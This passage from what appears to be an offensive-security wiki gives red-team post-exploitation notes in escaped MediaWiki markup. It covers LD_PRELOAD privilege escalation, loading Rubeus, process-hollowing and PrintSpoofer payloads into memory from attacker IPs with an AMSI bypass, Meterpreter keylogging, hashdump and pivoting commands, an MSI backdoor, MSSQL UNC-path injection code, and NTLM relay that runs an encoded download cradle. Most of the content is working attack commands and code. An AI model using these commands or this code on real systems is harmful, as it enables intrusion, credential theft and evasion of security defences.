* &#039;&#039;&#039;Setup&#039;&#039;&#039;: Prepare a listener for the payload&#039;s callback.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execution without Preload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD and Execution&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Clear LD_PRELOAD&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unset LD_PRELOAD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD with Sudo&#039;&#039;&#039;: Use an alias in  ​.bashrc​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-13.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reload &#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039;.bashrc&#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Now run the command&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /etc/passwd /tmp/passwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-15.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Load Exe in Memory ==&lt;br /&gt;
&lt;br /&gt;
* To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.&lt;br /&gt;
&lt;br /&gt;
* Below are example of how to run &#039;&#039;&#039;Rubeus.exe &#039;&#039;&#039;in memory and run &#039;&#039;&#039;ProcessHollowing payload&#039;&#039;&#039; in memory and run &#039;&#039;&#039;Mimikatz &#039;&#039;&#039;from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
##  Load Rubeus.exe to memory ##&lt;br /&gt;
# First disable AMSI&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/amsi.txt&#039;) | IEX&lt;br /&gt;
# Download Rubeus into memory&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/Rubeus.exe&#039;)&lt;br /&gt;
# Load it as an assembly&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
# Invoke a function&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;purge&amp;quot;.Split())&lt;br /&gt;
# Examples&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt&amp;quot;.Split())&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt&amp;quot;.Split())&lt;br /&gt;
# One liner&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.49.79/Rubeus.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main(&amp;quot;hash /password:Password123&amp;quot;.Split())&lt;br /&gt;
&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Run ProcessHollowing in memory ##&lt;br /&gt;
# Where Proc_hol is the namespace, and Program is the class.&lt;br /&gt;
$data2 = (New-Object System.Net.WebClient).DownloadData(&#039;http://92.221.186.47/proc_hol.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main(&amp;quot;&amp;quot;.Split())&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Using Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
# See OneNote for correct version.&lt;br /&gt;
# Load PrintSpoofer in memory&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://example.com/Invoke-ReflectivePEInjection.ps1&#039;) | IEX&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://example.com/PrintSpoofer.exe&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs &amp;quot;-i -c cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Metasploit Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium]&lt;br /&gt;
&lt;br /&gt;
=== Metasploit Unleashed ===&lt;br /&gt;
&lt;br /&gt;
[https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec]&lt;br /&gt;
&lt;br /&gt;
== Running Metasploit as a Daemon ==&lt;br /&gt;
&lt;br /&gt;
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfd&lt;br /&gt;
[*] Initializing msfd...&lt;br /&gt;
[*] Running msfd...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To connect to the daemon, use netcat like the following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/]&lt;br /&gt;
└─# nc 127.0.0.1 55554&lt;br /&gt;
  Metasploit Park, System Security Interface&lt;br /&gt;
  Version 4.0.5, Alpha E&lt;br /&gt;
  Ready...&lt;br /&gt;
  &amp;gt; access security&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access security grid&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access main security grid&lt;br /&gt;
  access: PERMISSION DENIED....and...&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
&lt;br /&gt;
       =[ metasploit v6.3.41-dev                          ]&lt;br /&gt;
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post       ]&lt;br /&gt;
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]&lt;br /&gt;
+ -- --=[ 9 evasion                                       ]&lt;br /&gt;
Metasploit Documentation: https://docs.metasploit.com/&lt;br /&gt;
[*] Starting persistent handler(s)...&lt;br /&gt;
msf6 &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter MindMap ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Commands ===&lt;br /&gt;
&lt;br /&gt;
* Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basics&lt;br /&gt;
help --&amp;gt; List available commands&lt;br /&gt;
sysinfo --&amp;gt; Displays system  info&lt;br /&gt;
getuid --&amp;gt; List current session owner&lt;br /&gt;
sessions -i 2 --&amp;gt; Change to session 2&lt;br /&gt;
shell --&amp;gt; Drop to interactive shell&lt;br /&gt;
channel -i 1 --&amp;gt; Change to shell in channel 1&lt;br /&gt;
background --&amp;gt; Background session to interact with msfconsole&lt;br /&gt;
upload {local path} {victim path} --&amp;gt; Upload a file&lt;br /&gt;
download {path} --&amp;gt; Download file&lt;br /&gt;
reg {Command} --&amp;gt; Interacts with registry (reg by itself will list syntax)&lt;br /&gt;
execute -f cmd.exe -i --&amp;gt; Execute cmd.exe and interact&lt;br /&gt;
execute -f cmd.exe -i -H -t --&amp;gt; Execute cmd as hidden process and with all tokens&lt;br /&gt;
# Powershell&lt;br /&gt;
load powershell&lt;br /&gt;
powershell_execute --&amp;gt; Execute a PowerShell statement, including complex-statements separated by semicolons&lt;br /&gt;
powershell_import --&amp;gt; Import a local PowerShell script to execute on the remote system over the Meterpreter channel&lt;br /&gt;
powershell_shell --&amp;gt; Launch an interactive PowerShell shell&lt;br /&gt;
powershell_session_remove --&amp;gt; Used to remove a PowerShell session when created using execute/import/shell with the -s argument&lt;br /&gt;
# Host Reconnaissance&lt;br /&gt;
# List running processes on a system&lt;br /&gt;
ps --&amp;gt; List processes&lt;br /&gt;
getpid --&amp;gt; List current PID&lt;br /&gt;
migrate {PID} --&amp;gt; Migrate to anothe PID&lt;br /&gt;
post/windows/manage/migrate --&amp;gt; Make meterpreter migrate to another process.&lt;br /&gt;
run service_manager -l --&amp;gt; Lists running services on Windows.&lt;br /&gt;
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:&lt;br /&gt;
execute -H -f notepad&lt;br /&gt;
migrate {PID}&lt;br /&gt;
# Screenshots&lt;br /&gt;
screengrab --&amp;gt; Run plugin to capture screenshot of user session&lt;br /&gt;
# Keylogger&lt;br /&gt;
keyscan_start --&amp;gt; Start keylogger&lt;br /&gt;
keyscan_stop --&amp;gt; Stop keylogger&lt;br /&gt;
keyscan_dump --&amp;gt; Dump keylogger&lt;br /&gt;
# Privilege Escalation&lt;br /&gt;
getsystem --&amp;gt; Attempts to elevate privileges.&lt;br /&gt;
post/windows/gather/win_privs --&amp;gt; Determine privilege information.&lt;br /&gt;
exploit/windows/local/bypassuac_vbs --&amp;gt; Attempts to bypass UAC in order to escalate privileges.&lt;br /&gt;
windows/local/bypassuac_fodhelper --&amp;gt; Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Post-Explotation with Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;help&amp;lt;/code&amp;gt;: List available commands.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Migrate&#039;&#039;&#039;: Migrate to another process with &amp;lt;code&amp;gt;migrate [PID]&amp;lt;/code&amp;gt;.&lt;br /&gt;
Used for: keystroke capturing (&amp;lt;code&amp;gt;keyscan_start&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_stop&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_dump&amp;lt;/code&amp;gt;) and ensuring session stability.&lt;br /&gt;
&lt;br /&gt;
* Caution: Migrating may lead to privilege loss.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hashdump&#039;&#039;&#039;: Dump the SAM database containing NTLM-formatted passwords with &amp;lt;code&amp;gt;hashdump&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Search&#039;&#039;&#039;: Find files, e.g., &amp;lt;code&amp;gt;search -f flag2.txt&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shell&#039;&#039;&#039;: Launch command shell on the target with &amp;lt;code&amp;gt;shell&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;search smb/psexec&amp;lt;/code&amp;gt; to search for a module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;use [id]&amp;lt;/code&amp;gt; to use the module.&lt;br /&gt;
&lt;br /&gt;
* Set required fields using &amp;lt;code&amp;gt;set&amp;lt;/code&amp;gt; (e.g., &amp;lt;code&amp;gt;set RHOSTS [target-machine-ip]&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
* Confirm settings with &amp;lt;code&amp;gt;show options&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;run&amp;lt;/code&amp;gt; to start the exploit.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Extensions ===&lt;br /&gt;
&lt;br /&gt;
[https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load kiwi&amp;lt;/code&amp;gt; - Load Mimikatz in current process&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load incognito&amp;lt;/code&amp;gt; - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_import PowerUp.ps1&amp;lt;/code&amp;gt; &amp;lt;-- from our local working dir.&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_execute &amp;quot;Invoke-AllChecks&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter pivoting and Proxychains ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Portforward ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.offsec.com/metasploit-unleashed/portfwd/&lt;br /&gt;
# Add&lt;br /&gt;
# From the Meterpreter shell, the command is used in the following manner:&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r  [target host]&lt;br /&gt;
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.&lt;br /&gt;
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.&lt;br /&gt;
-p 3389 is the destination port on our targeting host.&lt;br /&gt;
-r [target host] is the our targeted system’s IP or hostname.&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Local TCP relay created: 0.0.0.0:3389 &amp;gt;-&amp;gt; 172.16.194.191:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
Figure 2 Adding a port&lt;br /&gt;
# Delete&lt;br /&gt;
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r [target host]&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Successfully stopped TCP relay on 0.0.0.0:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
# FLUSH: This argument will allow us to remove all the local port forward at once.&lt;br /&gt;
meterpreter &amp;gt; portfwd flush&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSI Backdoor ==&lt;br /&gt;
&lt;br /&gt;
If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
Download exemsi --&amp;gt; https://www.exemsi.com/download/&lt;br /&gt;
# Follow the guide fom hacktrics.&lt;br /&gt;
&lt;br /&gt;
------------------&lt;br /&gt;
# If you have a meterpreter session&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Good source ===&lt;br /&gt;
&lt;br /&gt;
[https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)]&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Attacks ===&lt;br /&gt;
&lt;br /&gt;
==== Enumeration ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract all accounts in use as SPN using built in MS tools&lt;br /&gt;
setspn -T corp1 -Q MSSQLSvc/*&lt;br /&gt;
# Use GetUserSPNs.ps1&lt;br /&gt;
https://github.com/nidem/kerberoast&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication using C# ====&lt;br /&gt;
&lt;br /&gt;
* This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the &#039;public&#039; server role and displays the result.&lt;br /&gt;
&lt;br /&gt;
* The term &amp;lt;code&amp;gt;Integrated Security = True;&amp;lt;/code&amp;gt; in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.&lt;br /&gt;
&lt;br /&gt;
* It&#039;s considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String querylogin = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(querylogin, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Console.WriteLine(&amp;quot;Logged in as: &amp;quot; + reader[0]);&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check public role&lt;br /&gt;
            String querypublicrole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;public&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querypublicrole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 rolePublic = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (rolePublic == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check sysadmin role&lt;br /&gt;
            String querySysAdminRole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;sysadmin&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querySysAdminRole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (roleSysAdmin == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== UNC Path Injection ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Premise&#039;&#039;&#039;: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# xp_dirtree SQL Procedure&lt;br /&gt;
#	• Function: Lists all files in a given folder.&lt;br /&gt;
#	• Special Feature: Can accept an SMB share as a target.&lt;br /&gt;
EXEC master..xp_dirtree &amp;quot;\\192.168.119.120\\test&amp;quot;;&lt;br /&gt;
# Responder Tool&lt;br /&gt;
#	• Function: Sets up an SMB share initiating NTLM authentication.&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start &amp;lt;code&amp;gt;responder&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Once the NET-NTLM hash is captured, you can use &amp;lt;code&amp;gt;hashcat&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;hashcat -m 5600 hash.txt dict.txt --force&amp;lt;/code&amp;gt;) or &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; to crack it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC master..xp_dirtree \&amp;quot;\\\\192.168.119.120\\\\test\&amp;quot;;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Relay the hash ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Net-NTLM hash&#039;&#039;&#039;: While it can&#039;t be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Security Measure&#039;&#039;&#039;: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;SMB Signing&#039;&#039;&#039;: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it&#039;s enabled only on domain controllers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Procedure&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Enumeration&#039;&#039;&#039;: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code.&lt;br /&gt;
kali@kali:~$ sudo apt -y install powershell&lt;br /&gt;
kali@kali:~$ pwsh&lt;br /&gt;
PS /home/kali&amp;gt; $text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.&lt;br /&gt;
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above.&lt;br /&gt;
# The -t option specifies the target to which the relayed authentication will be sent.&lt;br /&gt;
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c &#039;powershell -enc &#039;&lt;br /&gt;
